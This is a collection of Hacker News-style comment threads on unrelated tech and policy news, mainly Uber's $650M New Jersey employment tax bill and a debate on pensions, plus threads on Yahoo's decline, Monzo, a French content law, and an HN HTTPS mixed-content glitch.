Uber Hit with $650M Employment Tax Bill in New Jersey - <AUTHOR> https://news.bloomberglaw.com/daily-labor-report/uber-hit-with-650-million-employment-tax-bill-in-new-jersey <comment><USER2> I am really curious how they arrived at any of the numbers in this article. Seriously, what other large employers make it to hundred plus million per year? Are they just up and deciding that anyone who did one trip is now an employee? Is there a source that shows how much each company pays per year in this state? who else is equivalent?

this isn't about protecting the drivers, this is about protecting the taxi industry and metropolitan mass transit unions both of which were under threat of better service being offered at lower costs both to tax payers as a whole as well as customers. you don't have to like Uber to understand what this is really about. It is protecting the current gravy train the politicians rely on to stay in office.

edit:

[https://www.njbia.org/get-njbias-tax-changes- for-2019/](https://www.njbia.org/get-njbias-tax-changes-for-2019/)

Unemployment Insurance, New Jersey Workforce Development and Health Care Subsidy Fund Taxes

> Employee and employer state Unemployment Insurance tax rates will apply to > the first $34,400 of an employee's earnings in 2019 (up from $33,700 in > 2018).

> For 2019, employees are subject to a 0.0425% (.000425) Workforce Development > Partnership Fund tax rate. The employee Unemployment Insurance tax rate > remains at 0.3825% (.003825) of taxable payroll.

<comment><USER3> You make reference to protecting mass transit as well as to the cost to consumers. These arguments make sense if there are zero externalities, but unfortunately there are: carbon footprint, both directly as well as second order effects from increased congestion, commercial exploitation of subsidized infrastructure, increased collision risk to cyclists and vulnerable road users, abuse of contract law by preventing independent rate setting and concealing negotiable information, artificially depressed prices fueled by venture capital in order to create a monopoly and capitalize later. These externalities are borne by society at large, so a pure "let the consumer decide" philosophy is not fully justified in this scenario. Some of these externalities apply to taxis as well, which is precisely why regulating and limiting taxis is good, though I think one could do a lot better than the medallion system.

<comment><USER4> Regulation is what made taxis so terrible. We don't need the government to control everything. Many of the externalities you describe would be the same if people just drove their own cars.

If ridesharing is so bad then govt should invest in proper public transport to create more choice, not try and crush a valuable service used by millions.

<comment><USER5> > Many of the externalities you describe would be the same if people just > drove their own cars.

no, this isn't correct and on its face looks like a straw man, so i'm pretty sure you're arguing in bad faith, but i'll try to give someone of the "market" mindset a market argument.

market zealots tell us that as things become cheaper, people do more of them. subsidizing ride sharing, evading regulations, etc. generally made ride sharing become a cheaper alternative to taxis. as a result, it suddenly became generally affordable for well off people to "ride share" around everywhere as a manner of commuting. this very likely led to more congestion than a world without ride sharing would have.

that some of these well off individuals could have done the same in private cars is not really relevant. ride sharing became so economical that bus riders, pedestrians and cyclists changed their behavior to make use of it. this isn't controversial - there's at least one study from SF that found this; i'm guessing other municipalities have found the same.

<comment><USER6> This is such a bullshit argument. What you're basically saying is people wouldn't have driven their cars and stayed at Home if Uber wasn't a thing. That's such an inane argument. Ridesharing is good and reduces overall traffic. It doesn't make people go out more than they require. No one says "it's a good day to Uber today ".

<comment><USER7> I've read a dozen studies so far that indicate Uber increases traffic and congestion in cities it operates in. Quite a lot, actually. Increasing commute times by 40% or more in some of the studies. Venture capital is paying people to idle around the city, clogging the roads. It's a sort of denial of service attack.

"Uber and Lyft Admit They're Making Traffic Worse"

[https://www.citylab.com/transportation/2019/08/uber-lyft- tra...](https://www.citylab.com/transportation/2019/08/uber-lyft-traffic- congestion-ride-hailing-cities-drivers-vmt/595393/)

<comment><USER4> This is the normal outcome of more people going to more places. Ridesharing definitely increased the total amount of people taking cars that didn't before from a lack of options, but that's minor in terms of general population growth.

Traffic always increases over time, that's a natural thing that cities need to plan for. It's great motivation to build public transportation instead of complaining about Uber helping people get around.

</comment></comment></comment></comment></comment></comment></comment><comment><USER8> There's no escaping this from states like NJ, CA, IL, MA, and NY. These states (of which I am a member of) are broke with pension obligations waiting to bankrupt the government. Taxes are already high both on income and property so there's nowhere to go there. They have old infrastructures and although the citizens are heavily taxed, government can't make improvements in large part because of lifetime pension obligations to a rapidly growing group of retirees - many of which have already moved to tax free states like FL.

So these states are the vanguard in finding ways to collect more tax revenue any way they can. Sharing Economy companies are simply the easiest to harvest right now.

<comment><USER9> Do you have some numbers to share to support the hypothesis that pension plans will bankrupt these states without new taxes?

<comment><USER10> Illinois: [https://www.reuters.com/article/us-illinois- pensions/illinoi...](https://www.reuters.com/article/us-illinois- pensions/illinois-unfunded-pension-liability-climbs-to-1335-billion- idUSKBN1O62KC) (Illinois' unfunded pension liability climbs to $133.5 billion)

[https://www.policyed.org/pension-pursuit/pension- liability-s...](https://www.policyed.org/pension-pursuit/pension-liability- state/map) (PolicyEd: Interactive Map of Pension Liability by State and City)

Illinois is an outlier, and is seriously in trouble, but most other states will be fine.

<comment><USER11> Total pension liability (from your numbers): 133.5 billion There are 12.80 million people in Illinois, so the per-person liability is $10429 A typical pension is paid out over the course of about 20 years. The liability per person per year is $521

Put differently: the pension liability per year is 6.675 billion. Illinois rakes in about $45 billion per year in taxes.

That's at most "awkward" to handle and at best "easy" and possibly even trivial.

<comment><USER12> First, what you are doing is taking a net present value of a discounted cash flow, dividing it up into pieces and then population.

You cannot do this.

Say there is a discount rate of 8% and you owe $100 per year for 20 years. That's a NPV of about $980.

Then you say, $980 divided by 20 years is only $49! It's nothing. You just turned an obligation of $100 per year into $49 per year.

See, the pensions, when they say they have a shortfall of X, what they mean is that if they got X today, and invested it with their expected rate of return, in the future they would have what they need to pay out their obligations. They are not saying that their obligations are X when they are added together across time without discounting.

Second, in the case of pension funds, the discount rate is how much they think they can earn with the money. The pension industry has different assumed rates of return, but the most consistent one I've heard is 8%, which in today's world of secular low rates is insane. There is a whole world here of pension funds reaching for yield as risk free instruments drop to very low rates, and this is by far a much bigger impact on pensions than anything else and something not talked about when people cheer low interest rates. This is causing pension funds to be in shortfall all across the world.

There is also the issue that some pension plans contain provisions for health insurance, which is also hard to predict.

So I'm not saying I have the right number, but without knowing their discount rate or future obligations, you are not going to be able to get a good number.

<comment><USER13> You sound like you know a lot about pensions. How have Japanese pension funds survived? Do they just not invest in Japan at all?

<comment><USER12> Japan has a completely different pension system which is extremely conservative.

It's a two tier system, the first government funded, and of course the Japanese government is in enormous debt, but not because of pensions. The government funded pension is like welfare, it's very small, is fixed in amount for everyone, and funded by contributions. It would be what social security is if the amount was tiny -- say $200 per month -- and fixed for everyone regardless of how much they pay in, even though everyone pays in a bit less than 1% of their salary. It is a system not dependent on positive rates of return.

The second system is the main source of pensions for people and is employer/employee funded. It is also quite austere -- you pay in 18% of your income in year 1 and that amount increases by 0.25% each year. Of course only half is deducted from your paycheck, the rest from the employer, but it is effectively taken out of the worker's paycheck.

What you get when you retire is ~0.55% of your total lifetime wages each year. This amount is fixed in nominal terms -- there is no inflation, cost of living adjustment, etc. You get this fixed amount every year. That means that by design the system is solvent because even if nothing is invested and the money earns 0%, if you work for 30 years and never get a raise, you will have paid in an average of ~22% of your lifetime wages which will fund 32 years of retirement pension after 30 years of working. But a normal person will get raises, and as they get raises over time, they earn more later in life when their percentage contribution goes up, so pensions are well funded even for a population with long lifespans and low interest rates. Then of course people have private savings in addition to pensions.

Needless to say, Americans would riot if you told them they need to increase their social security contribution from 15% to 18%, with no cap, and that this amount goes up every year, and then what they get would be only 0.55% of their lifetime earnings with no COLA. That means someone earning the median per- capita income of about 31K for 40 years of work would get $570 per month in social security benefits after paying in an average of $594 per month over 40 years. But again, our system is designed for people who die younger and work in an economy with decent rates of return.

But if we adopted a Japanese style system, social security would be permanently in the black regardless of interest rates.

<comment><USER13> Thanks!

So does that mean the average retired Japanese person is living on less than $1k per month?? How are they doing that? Isn't Japan pretty Urban and the cities relatively expensive to live in?

<comment><USER12> You would be surprised at how low wages are in Japan and how frugal people are to save to supplement their employer pensions. You would also be surprised at how many poor people there are in Japan. The stereotypical wealthy Japanese salaryman has pretty low salaries by American standards. There are also homeless people in Tokyo who sleep quietly in the streets and then clean up after themselves, disappearing completely from sight so you wouldn't know there was an encampment there. There was one famous case of an older person starving in Japan. He had a very touching diary where he wrote he dreamed of eating just one rice ball. He went to the unemployment office but they turned him down.(source: [https://asiancorrespondent.com/2012/02/starving-to-death- in-...](https://asiancorrespondent.com/2012/02/starving-to-death-in-wealthy- japan/))

In Japan 2/3 of the average person's retirement income is pension benefits and 1/3 is savings, so Japanese augment their frugal pensions by saving a lot. Even so, 1 in 6 Japanese live in poverty, and 1 in 5 seniors live in poverty, suggesting that the low pensions play a role and that some Japanese are suffering because of this ([https://www.japantimes.co.jp/news/2019/06/04/business/financ...](https://www.japantimes.co.jp/news/2019/06/04/business/financial- markets/japans-pension-system-inadequate-aging-society-council-warns/))

In terms of Japan being expensive to live in, it depends on your lifestyle. You can certainly spend a lot of money in Japan, but the median _household_ income in Japan is about 40K (source: [http://nbakki.hatenablog.com/entry/Distribution_of_Yearly_Ho...](http://nbakki.hatenablog.com/entry/Distribution_of_Yearly_Household_Incomes_in_Japan_2016). more salary breakdowns here: [https://resources.realestate.co.jp/living/average-salary- jap...](https://resources.realestate.co.jp/living/average-salary-japan- occupation-age/)) so assuming 2 people, that's about $1700/month per person, so a pension of $1000/month is completely unsurprising.

Private consumption in Japan, as a share of GDP, is about 10% less than in the U.S. E.g. they consume about 57% of GDP and we consume about 67% of GDP. This includes consumption of fixed capital. If you back that out, the median Japanese household is just much more frugal than the median US household, and it's not all increased out of pocket healthcare spending (source: [https://www.bls.gov/opub/btn/volume-6/how-do-united- states-c...](https://www.bls.gov/opub/btn/volume-6/how-do-united-states- consumer-expenditures-compare-with-the-united-kingdom-and- japan.htm?view_full)). They really are more frugal and more risk averse than US households.

<comment><USER10> How does the US Social Security system compare with Japan's when considering keeping the elderly out of poverty?

<comment><USER12> In the U.S. 9% of seniors live in poverty compared to 13% of the population (and 18% of children). Social Security not only does a fantastic job of keeping seniors out of poverty, but for many seniors who lived in poverty before the age of 65, the receipt of social security benefits lifts them out of poverty in their old age.

Thus, social security is much more than a pension program, it's actually a significant transfer that causes seniors to have lower poverty rates than working-age Americans.

<comment><USER10> Thank so much for the reply.

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER14> Jersey City just had a public referendum on short-term rentals that AirBnB spent millions of dollars lobbying against. It's good to see that the both the public and its elected officials are coming up to speed on the realities companies like Uber and AirBnb force upon them by skirting the law.

<comment><USER15> These are the same elected officials who let taxi companies rip off passengers for the better part of a century by limiting competition through the medallion system, and protect hotel interests because they've been able to tack a ton of extra taxes onto every hotel bill?

<comment><USER16> Before the smartphone era, the only possible way to ensure availability of personal transportation was to have a functioning taxi & livery industry. The use of medallions was actually to protect the public, ensuring all drivers were at least accountable and traceable and thus somewhat safe, just like today's Uber riders expect the company to perform background checks on drivers. Yes it benefitted embedded interests, but eliminating medallions would have been worse.

Also, tacking on taxes to hotel bills hurts them, by making visits more expensive and thus reducing demand.

But really nice hot takes.

<comment><USER17> If "protecting the public" was truly the goal, why not make taxi driving as simple as getting a commercial endorsement on your license? Driving 50 people in a public bus only requires X hours in a classroom and an extra exam (or two, depending). Interestingly, the medallions were affixed the the vehicle (thus allowing anybody to use it), the total number of medallions were artificially limited and the choice parts of the city were off limits to competition. Does that really protect the public or does it just protect those who own the medallions?

<comment><USER18> You should look at the history of why taxi regulation came about and why the "right" number of taxi badges per city was a system that much of the world arrived at. It also brought minimum service obligations, driver standards and fair pricing.

Deregulated taxis had cartels, increased and varying prices depending on destination and poorer customer service. Bad enough that many countries and cities found they _had_ to regulate.

Now, whether medallions that are separate from vehicle and driver, and thus have a value in their own right are the best way to regulate is another question entirely. In the US specific case it seems emphatically not. Quite why many US cities had such poor taxi service when other countries have managed much better is beyond me.

</comment></comment></comment></comment></comment><comment><USER19> If these Uber drivers were correctly reporting their income (and I can't see how they wouldn't be--Uber surely 1099s it) -- wouldn't each individual driver be paying these same taxes, even as a self-employed person? The self-employed pay into Social Security for both their portion and the employer's portion, this also includes SSDI. I'm not sure how NJ does their state tax calculation.

<comment><USER20> These amounts aren't FICA, they're levied on employers and owed to the state's unemployment and disability tax collection agency.

</comment></comment><comment><USER21> Is the limited-liability corporation that Uber uses called "Raiser LLC" or "Rasier LLC"? I swear I've seen it spelled both ways, although only "Rasier" in Uber receipts.

What's the etymology?

<comment><USER22> Both, although it's possible it's only "Raiser" in some locales[1] as a typo — Uber's liability insurance paperwork[2] and site[3] refer exclusively to "Rasier".

[1]: [http://tsa1.nv.gov/ActiveCertificatesDetail.asp?cCertNum=TNC...](http://tsa1.nv.gov/ActiveCertificatesDetail.asp?cCertNum=TNC+0002)

[2]: [https://ubernewsroomapi.10upcdn.com/wp- content/uploads/2019/...](https://ubernewsroomapi.10upcdn.com/wp- content/uploads/2019/02/NY-COI-P1-3-Phys-Dam.pdf)

[3]: [https://www.uber.com/global/en/cities/washington- dc/](https://www.uber.com/global/en/cities/washington-dc/)

There's at least one document[4] where Rasier LLC forms a subsidieary `Raiser- CA, LLC`.

[4]: [https://www.vice.com/en_us/article/9kwjz5/unicorn-trank- and-...](https://www.vice.com/en_us/article/9kwjz5/unicorn-trank-and-raiser- the-names-uber-uses-to-do-business) , specifically [https://video- images.vice.com/_uncategorized/1500911986571-S...](https://video- images.vice.com/_uncategorized/1500911986571-Screen- Shot-2017-07-24-at-114249-AM.png?resize=1050:*)

</comment></comment><comment><USER23> Ok, is it just cynical of me to say "Ok, here is their 'one time expense' for this quarter to show why they aren't profitable yet?

That said, the company has so much regulatory risk associated with it. It has the feel that the "system" is working very hard to punish the "disrupter" in a fatal way to discourage other such disrupters.

</comment><comment><USER24> If the state wins, I wouldn't be surprised if Lyft and Uber pulled out, or at least increased their fares by a substantial amount.

<comment><USER25> Personally I think they should pull out nevertheless and make an example out of NJ. That should give enough signals for other lawmakers not to come between consenting parties.

<comment><USER26> "We should just let corporations do whatever they want"

<comment><USER27> I wonder how many people have this opinion just to stick it to "the man" \-- seems like most of the anti-Uber HN crowd does not actually drive for Uber, but nonetheless express a passionate hatred for their business model.

<comment><USER28> They are avoiding taxes which indirectly increases ours

<comment><USER29> Your comment doesn't make sense, are you saying that all independent contractors are tax avoiders and leech from society? Either the taxes independent contractors pay are fine and Uber paid a fair amount, or we need to raise the rates for all independent contractors.

<comment><USER30> Don't know how that works in US, but here in Europe the answer is yes, the main reason people become contractors is because taxes for contractors are lower than for employees, which means more take-home pay for the same cost for the employer.

<comment><USER31> In the US, contractors have a higher effective tax rate than employees, and are responsible for FICA withholdings that are usually part of an employer's payroll tax.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER32> Even though Uber will eventually be ruined by the bad press, we should all appreciate what they did. The taxi industry was an overregulated high-rent business dominated by insiders, delivering shitty service at high prices, and nobody was able to break into it.

Uber broke that and introduced people to what is possible with the free market. Now the government can't just go back to its corrupt ways. People will notice if service degrades.

I hope Lyft, Uber, and others are driven out of some markets just so we can see if there's a backlash against the unholy union of government, left-wing unions, and taxi cab companies.

I feel like people should be reminded about what the government and taxi cab union dominated market was like with their hedgefund insider deals (to purchase medallions) and other corrupt dealings.

People always assume decapitating Uber will bring an utopia ... they should be reminded about how corrupt government is when nobody is watching (and people usually aren't watching).

</comment><comment><USER33> Please don't quote with code blocks. It breaks formatting by forcing horizontal scrolling, and is especially bad on mobile.

Requoted:

> Employee and employer state Unemployment Insurance tax rates will apply to > the first $34,400 of an employee's earnings in 2019 (up from $33,700 in > 2018). For 2019, employees are subject to a 0.0425% (.000425) Workforce > Development Partnership Fund tax rate. The employee Unemployment Insurance > tax rate remains at 0.3825% (.003825) of taxable payroll.

<comment><USER34> The annoying thing is it's 5 lines of css to fix in most browsers... [https://css-tricks.com/snippets/css/make-pre-text-wrap/](https://css- tricks.com/snippets/css/make-pre-text-wrap/)

<comment><USER33> Yes except that breaks _actual_ code, especially affecting mobile devices where wrapping can make it very difficult to follow.

<comment><USER34> It doesn't actually break code, it just wraps it on mobile devices differently. Make your window bigger (80 chars) if you want to see full lines. For mobile it's still more readable than horizontal scrolling code.

<comment><USER33> > It doesn't actually break code, it just wraps it on mobile devices > differently.

I meant it breaks the flow of the code by inserting line breaks.

> Make your window bigger (80 chars) if you want to see full lines. For mobile > it's still more readable than horizontal scrolling code.

Not all code uses 80 as the standard, many use 100 instead. Regardless, it is not at all true that wrapping is more readable than horizontal scrolling. Wrapping doesn't obey the indentation of the surrounding context.

<comment><USER34> This is a matter of opinion, you see scrolling as better on mobile and I see wrapping as far far better.

</comment></comment></comment></comment></comment></comment><comment><USER35> Or it could be about protecting employee rights against exploitative corporations who flout the law for profit.

Edit: and society for that matter. See Al Capone, a murderer, being finally arrested for tax evasion as an example.

<comment><USER36> Curious, in which world has taxation ever been for the benefit of the employee?

<comment><USER37> Taxation is, broadly, spent on citizens and citizens benefit from that. I pay taxes that cover the police as well as the schooling that lowers the chance of people around me having to resort to crime.

<comment><USER36> In the context of Uber vs NJ, the drivers are already remitting taxes as contractors. The $650M demand from the state isn't a driver initiative with them demanding "Uber needs to pay more taxes.." it's the state saying "What we've collected from drivers isn't enough and we want more from Uber.."

<comment><USER38> >"What we've collected from drivers isn't enough and we want more from Uber.."

Or its fundamentally correct under the law and Uber has misclassified its drivers as independent contracts whereas they should properly be classified as employees.

After all Uber did disclose this was significant risk in their S-1, and further that such a reclassification could be an existential threat to the business.

It sounds conspiratorial, but now that they have gone public (and investors have cashed out and dumped the bag) the money that was roadblocking these moves by government (note the article makes it clear NJ has been pursuing these taxes for 4 years) has dried up and governments will begin to act. Its no surprise to anyone in the know, just follow the money (in this case the shorts)

<comment><USER35> I wonder how many pre-IPO investors are making money on the way down with those shorts.

The "sharing economy" is a scam of epic proportions.

</comment></comment></comment></comment></comment></comment><comment><USER39> Another great example of the government mafia stifling innovation and trying to extort and rob everyone at every opportunity. Government is the big iron ball attached to our foot holding us all back.

</comment><comment><USER40> Looking forward to seeing a repeat here in NL.

</comment><comment><USER41> I still dont get why a cab driver must get a cab driver license and a uber driver doesnt. Same service, just another name.

<comment><USER42> Uber is legally limousine service, not cab service. i.e. hired not flagged on the street.

</comment></comment><comment><USER43> I mean, I used to get tech support gigs on Craigslist all the time. Should Craigslist have been responsible for paying me minimum wage during that time?

<comment><USER14> I didn't know Craiglist determined your rates and claims to own the relationship between you and your clients.

</comment></comment><comment><USER44> Über was just much more lucky / smart on its IPO than WeWork, as VCs could get rid of their overvalued assets before the company was started to be regulated like a normal company.

</comment><comment><USER45> In guessing they will just get another round of investment when running an illegal taxi business at scale...I mean disrupting. Oh well I don't mind the subsided rides. The drivers have been very pleasant and I'll hate going back to cabs when this came party ends

</comment><comment><USER46> This is not Uber's real problem. The much bigger problem is that Uber's business model by definition cannot be profitable, and here is why:

Let's start with the costs of the business model.

What are the two costs involved in transporting a customer from point A to point B? They are: \- The car's time \- The (human) driver's time

Operating or leasing a car for a certain amount of time (maintenance/insurance/gasoline) has not become significantly cheaper since Uber was created, so there is no cost reduction here.

Hiring a human's dedicated time (at least minimum wage) has also not become significantly cheaper since Uber, so here too there is no cost reduction.

Therefore the cost to transport something from point A to B has stayed exactly the same, before Uber and after Uber.

To transport something from point A to point B, someone must still carry this unavoidable cost. If the customer is not carrying this cost, then Uber must be carrying it. Uber can do so for now because investor money has subsidized the cost. But Uber can't do this forever because investors will lose patience and stop the subsidy.

Uber can only be profitable once the unavoidable cost transport is passed on entirely to the customer. At that point, Uber will have to charge the same price as any taxi. Stated differently, Uber can never be more profitable than a taxi company on a per-ride basis.

Given that customers have no loyalty to a ride-share service, because every ride is virtually identical, any taxi company can build a similar service, removing any "walled garden" or "network effect" Uber may have hoped for. In fact, Uber clones are doing well in other countries and are creating significant headwinds for Uber.

Uber therefore has no hope of ever delivering its promises unless it can deliver driverless cars. Even if it can do that, the technology will quickly become commoditized and ubiquitous, meaning that any other ride-share service could offer it as well, once again removing any advantage, and driving margins for all ride-share services to near zero.

<comment><USER46> I know Uber shareholders do not like to hear this.

</comment></comment><comment><USER47> > The money that they're not paying into the unemployment and disability > systems is being picked up by the states and the taxpayers.

Isn't it true that independent contractors are _not_ eligible for unemployment or disability claims?

Yes that's true.

Given that, it is false that the "cost" is being picked up by others, because there is no cost here.

And given that the state is seeking retroactive reimbursement for past years, all independent contractors in the state who worked at this during this time period should be retroactively reimbursed for times of unemployment and for disability issues. Odd the state's not offering that.

<comment><USER20> The state would beg to differ: "..the department also has determined that 65 drivers who listed Uber, Rasier or Lyft as their employer in unemployment- insurance-benefits claim forms are employees of those companies and therefore eligible to seek jobless benefits."

</comment></comment><comment><USER48> > It's not clear whether the company ever paid any of that bill.

What's the point of these fines if NJ and other governments have no real power to enforce them? This seems to be all for show. Sure, we throw poor people in jail over a $20 fine. But Uber doesn't pay tens of millions and nothing at all happens to them. It's impossible to see this as anything other than separate justice systems for the rich and poor. If Uber was a real person, they'd probably be in jail for life. If they weren't white, they'd be sitting on death row. Instead, we talk of them as if they are some sort of success: a company breaking laws and hemorrhaging money with no chance in fucking hell of ever being profitable.</comment>


Monzo, a UK digital-only challenger bank, granted full banking license - <AUTHOR> https://techcrunch.com/2017/04/05/monzo-a-uk-digital-only-challenger-bank-granted-full-banking-license/ <comment><USER2> Good for them, I just wish they would expose an API for their bank. I want to do an API call to send my money out.</comment>


The Decline of Yahoo in Its Own Words - <AUTHOR> https://hbr.org/2016/06/the-decline-of-yahoo-in-its-own-words?utm_source=twitter&utm_medium=social&utm_campaign=harvardbiz <comment><USER2> >Rather, Yahoo's existing products didn't work on mobile.

I wonder what this is referring to. All the Yahoo products I'm familiar with (admittedly not many of them), could be adapted to mobile. Yahoo Answers could have become completely addictive if easily accessible. Looking at a list of all their other services on Wiki, I can't find a single one that "[wouldn't] work on mobile".

The phrase "didn't work" is a cop out. If something "won't work" or "isn't possible", then you just haven't thought of a good way to make it. Don't pretend like things can't adapt and change.

<comment><USER3> Yeah, that assertion is baffling. Flickr is a photo service, it absolutely could've worked well on mobile...one of the first paid apps I ever bought was a third-party app that made it easier to use Flickr. Flickr famously was caught unawares by the trend set by Instagram and, well, Hipstamatic. In the news business, Yahoo News is very well known. Again, nothing inherently un- mobile about that product.

Perhaps few of Yahoo products seem addictive enough to be mobile breakthroughs, but that seems like a chicken and the egg thing. I liked using Twitter a lot from the desktop, but having it accessible via phone made it even more addicting.

<comment><USER4> The Flickr mobile app is a great example of where things went wrong for Yahoo. They both were too slow to spot a trend and poor at executing once they had. Ironically, from 2008 onwards, there was a module on the Flickr homepage showing the most popular cameras people were using. iPhone topped this chart somewhere around 2009 and yet they still didn't take that seriously enough to invest heavily in the iOS app development.

<comment><USER5> And even worse, rewind to 2008 and the Flickr API was considered the gold standard of API design. There were books written about it and it was regularly mentioned at conferences.

They had all the pieces to build a great mobile experience. The interest and support wasn't there from the leadership.

</comment></comment></comment></comment><comment><USER6> It's kind of tragic to see them be late to the party that they helped invent. The first apps for the iPhone were powered by Yahoo and the YUI library was pretty usable on mobile early on.

The talent was there, the leadership was not.

<comment> at-fates-hands >> The talent was there, the leadership was not.

This is spot on and completely staggering to think about. Yahoo was there with all of the other big search engines. They HAD to have seen the landscape changing, they HAD to know what their competitors were doing and starting to diversify their portfolios and offerings.

And with all that information, what did they do? Nothing. they sat and watched their competition lap them time and time again, diversify, introduce new products, move to mobile, and create new technologies.

I am completely mystified to how this could happen at such a huge company with some very smart people working there. It's as if this was some grand pump and dump scheme for a group of investors. It's like they _wanted_ it to fail.

</comment></comment><comment><USER7> Yahoo had all the products needed to be relevant again. What was needed is deep integration between these products. For instance, using Pipes in Yahoo Mail to create a custom Flickr feed. That's service integration. How about updating Groups UX/UI ? this product is obviously useful why does it look like it was made in 2000 ? Or is there so much technical debt that one cannot touch any code without having to rewrite everything at Yahoo ?

</comment><comment><USER8> Was Yahoo ever big outside of the US? For me it's always been some invisible, but persisting, corner of the Internet. Admittedly I've used some of the services they have acquired (like Flickr and RocketMail), but none of the core products I think.

Search was dominated by AltaVista up until Google, and for news and website index services I would have used local papers and link collections. I don't really even know what else was in their offering.

<comment><USER9> AltaVista straight to Google? You missed out on some great stuff! What about Webcrawler, Hotbot or Metacrawler?

<comment><USER10> Hotbot was my favorite. I even had an email address with them.

When they were bought out, I remember thinking "Damn, now I have to find a new search engine to use".

<comment><USER11> So many times at work, misspelling "hotbot.com" and typing "hotbat.com" which brought you to a porn site with some half-clothed woman suggestively holding a baseball bat on the splash page.

Pretty sure it was just a generic porn site (never really looked into it) and the "bat" thing was just a thinly layered gag to make an excuse for taking advantage of the common typo.

<comment><USER12> Heh, I just checked out whitehouse.com (not .gov!), which now says (with no images):

WhiteHouse.com Official Site

Celebrating our 19th Anniversary (1997-2016)

World's Most Famous Adult Site coming back Summer 2016

</comment></comment></comment></comment></comment><comment><USER13> How does Yahoo make money and how did its sources of revenue change over time? Ads?

In search, Yahoo was handily beaten by Google, and competing against Microsoft and Baidu for the rest. For webmail, Google won out, and Microsoft and Yahoo tried to hang on. For ads, Google and Facebook trounced Yahoo. Flickr was caught unaware by the rise of Instagram, and Tumblr resulted in them acquiring a massive social graph, but no clear ability to monetize it.

Facebook (& Instagram), Google (& Gmail, Youtube), Amazon, Twitter are all sites you'd visit while logged-in, so they can target ads better. Yahoo's properties no longer draw the volume of userbase that remains logged-in all the time, partially because you can get full benefit of their primary property (Yahoo.com) without logging in, and partly because fewer people use their gated properties in preference to their competitors.

But I'm not sure what they could've done to stop this. Microsoft is in a very similar boat, and their first attempt to adopt Google's strategy to get Microsoft content into everyone's hands faltered at the hands of third-party app developers. Their second attempt, with Windows 10, might succeed. Yahoo likely won't and can't take that route, so their hands are rather tied.

</comment><comment><USER14> What would "computing in an AI-first world," in the context of moving from computing in a mobile-first world, look like?

<comment><USER15> I think he is just saying that machine learning is the next big thing (for real this time).

</comment></comment><comment><USER16> I often think, given the number of uses of Yahoo Mail, that a social network addition would have been extremely popular. I don't think the problem was ever mobile, it was not seeing that the wind was blowing to social networks and internalizing that. They even had the best photo site to post pictures on.

<comment><USER17> You just reminded me that I have a Yahoo Mail account... Its been so long since I've even thought about that...

</comment></comment><comment><USER18> Believe it or not, the reason for decline is Google and Facebook. It's called Ads.</comment>


Dynamic Robot Construction Kit - <AUTHOR> http://www.kickstarter.com/projects/modrobotics/moss-the-dynamic-robot-construction-kit <comment><USER2> I'm the iOS Developer on the MOSS team at Modular Robotics. I'm happy to answer any questions anyone may have regarding MOSS. We're working on tons of cool ways you can reprogram MOSS including SDKs and firmware APIs.</comment>


France to fine tech giants up to 4% of global revenue for illicit content - <AUTHOR> https://www.reuters.com/article/us-france-tech-regulation/france-to-force-web-giants-to-delete-some-content-within-the-hour-idUSKBN22P2JU <comment><AUTHOR> "A new French law compels internet giants to remove pedophile and terrorism- related content within an hour or face a fine of up to 4% of global revenue."

Can France even do this? It seems crazy. The 1-hour requirement also seems unreasonable. So if Facebook is caught not removing illicit content within the hour 25 times, they will owe their entire global revenue to France?

<comment><USER2> It's 1 hour from when the content is reported, which does not sound so unreasonable.

Of course, fines are UP to 4% of revenue, so it's gradual from just a slap on the wrist to 4% of revenue if they really take the piss.

</comment></comment><comment><USER3> A European country gravitating more towards authoritarianism under the guise of fighting hatespeech? Hardly news. It's a wonder they get anything done with all the hate they apparently have brewing these days.</comment>


RIAA pays Tanya Andersen $107,951 - <AUTHOR> http://www.p2pnet.net/story/16724

<comment><USER2> The most ridiculous argument the RIAA makes is that if things continue, there won't be any more pop stars. Whether or not that's true, saying it like that's a bad thing is ridiculous.

<comment><USER3> Bach was a pop star in his day. So was Joni Mitchell.

<comment><USER4> Joni Mitchell is a woman dude.

<comment><USER5> Did anyone say she wasn't?

</comment></comment></comment></comment><comment><USER6> One of her lawyers is named "Ben _Justus_ "? I'd have smirked incredulously at that if it had been in a movie.

</comment><comment><USER7> After lawyer fees, she probably got only a few thousand dollars.

<comment><USER8> As the article says at the end, that's where Phase II of the process starts, where she is going to sue them for malicious prosecution. Let's hope she wins that too, and the award is large enough to actually hurt the companies (i.e. punitive damages).

<comment><USER9> It's a class action suit with about 10,000 potential class members, so the punitive damages could be substantial.

</comment></comment></comment><comment><USER10> way to go, these labels tactics are not fit for public consumption.</comment>


The terrible claustrophobic airplane seat redesign that could soon be how we fly - <AUTHOR> http://qz.com/383342/the-terrible-claustrophobic-airplane-seat-redesign-that-could-soon-be-how-we-fly/ <comment><USER2> That looks incredibly uncomfortable. I can be pretty cheap but I occasionally bring for the slightly better seats just for some more room to stretch (especially on really long flights); I can't imagine staying seated in there for long periods of time.</comment>


Hunting for fossils in the quirks of language - <AUTHOR> https://www.economist.com/books-and-arts/2018/07/19/hunting-for-fossils-in-the-quirks-of-language <comment><USER2> This article feels like it ends right when it begins, hinting that these fossils exist but never really diving into what they are, who researches them, how the etymologies are determined, or really anything aside from, as they call it, "fleetingly arresting cocktail-party diversions".</comment>


Ask PG: Comments are not working? - <AUTHOR> I'm getting a 404 when trying to open the comments links on all the articles on the front page. <comment><USER2> pg typed something into the repl on the live server without testing it again.

<comment><USER3> Pffft, smoothest http->https transition ever.

</comment></comment><comment><USER4> This was due to HN thinking requests were coming over SSL when they weren't. When it set the secure flag, your session wasn't sent over HTTP.

</comment><comment><USER5> Is anyone else seeing a mixed mode warning? I'm seeing a large number of warnings about of them on <http://ycombinator.com/images/grayarrow.gif>

</comment><comment><USER6> Is anyone else having styling issues?

<comment><USER7> Looks like a CSS link,

      <link rel="stylesheet" type="text/css" href="http://ycombinator.com/news.css">

is using http rather than https from an https page.

Chrome (25.0.1364.152 m) refuses[1] to retrieve; FF 19.0.2 does retrieve; IE 8 warns of insecure content.

[1] Chrome can be told to load anyway at the end of its URL entry box.

<comment><USER8> Good to know i'm not the only person fucking things up like this.

<comment><USER9> Protip: Specify urls as "//example.com/path/to/style.css" or such. They will default to whatever protocol (http/https) was used to fetch the parent page. It's also less typing (DRY!).

<comment><USER10> Unless you're loading from a file (using file://)

<comment><USER11> I'm curious about when you would ever do this on a public-facing webpage.

</comment></comment></comment></comment></comment></comment><comment><USER12> For me, they seem to work with https but not http.

